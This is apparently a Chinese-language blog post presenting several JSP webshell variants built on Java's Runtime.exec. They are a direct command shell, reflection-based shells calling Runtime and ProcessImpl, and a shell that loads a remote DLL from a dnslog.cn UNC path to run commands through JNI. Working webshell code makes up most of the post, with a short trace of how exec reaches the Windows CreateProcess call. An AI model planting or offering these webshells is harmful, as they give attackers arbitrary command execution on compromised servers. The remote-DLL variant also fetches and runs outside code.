jspwebshell的实现形式有很多,这里只是根据Runtime.exec方法联想到的几种实现,后面的文章会进行其他方法的实现。
首先这是最基本的通过Runtime类的exec方法来执行任意命令:
<%
String cmd = request.getParameter("cmd");
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
byte[] b = new byte[2048];
out.print("<pre>");
while(in.read(b)!=-1){
out.print(new String(b));
}
out.print("<pre>");
%>
然后是通过反射Runtime类来执行命令:
<%
String cmd = request.getParameter("cmd");
Class clazz = Class.forName("java.lang.Runtime");
java.lang.reflect.Constructor constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);
Object runtime = constructor.newInstance();
java.lang.reflect.Method exec = clazz.getMethod("exec",String.class);
Process p = (Process)exec.invoke(runtime,cmd);
java.io.InputStream in = p.getInputStream();
byte[] b = new byte[2048];
out.print("<pre>");
while(in.read(b)!=-1){
out.print(new String(b);
}
out.print("</pre>");
%>
Runtime类的exec方法的实现,跟一下:
跟到ProcessBuilder类里面,看start方法:
start方法里面返回了ProcessImpl的start方法执行的结果,跟进:
在这里创建了一个ProcessImpl实例,跟进他的构造方法:
构造方法流程里面最终调用了create方法,跟进:
这个方法是使用win32函数CreateProcess创建一个进程(我也是在注释里找到的)
现在exec的底层执行原理已经搞明白了,最终是使用JNI(不了解的同学自行百度)调用WindowsAPI实现的命令执行,Linux下也同理。
从java执行命令的流程能够分析出,可以从ProcessBuilder处实现命令执行构造webshell,可以从ProcessImpl处实现命令执行构造webshell,也可以直接使用JNI实现命令执行。
就列出来一个例子吧,反射调用ProcessImpl的webshell:
<%
String[] cmd = {request.getParameter("cmd")};
long[] longs = new long[]{-1,-1,-1};
Class clazz = Class.forName("java.lang.ProcessImpl");
java.lang.reflect.Method method = clazz.getDeclaredMethod("start", String[].class, java.util.Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
Process p = (Process) method.invoke(null, cmd, null, ".", null, true);
java.io.InputStream in = p.getInputStream();
byte[] b = new byte[2048];
out.print("<pre>");
while(in.read(b)!=-1){
out.print(new String(b));
}
out.print("<pre>");
%>
加载远程dll使用JNI调用命令执行方法的webshell:
<%!
class JNI{
public native String exec(String str);
}
%>
<%
System.load("\\\\nprv9u.dnslog.cn\\exec.dll");
String cmd = request.getParameter("cmd");
JNI jni = new JNI();
String res = jni.exec(cmd);
out.println(res);
%>
以上就是根据Runtime的exec方法执行命令联想到的webshell的几种实现形式。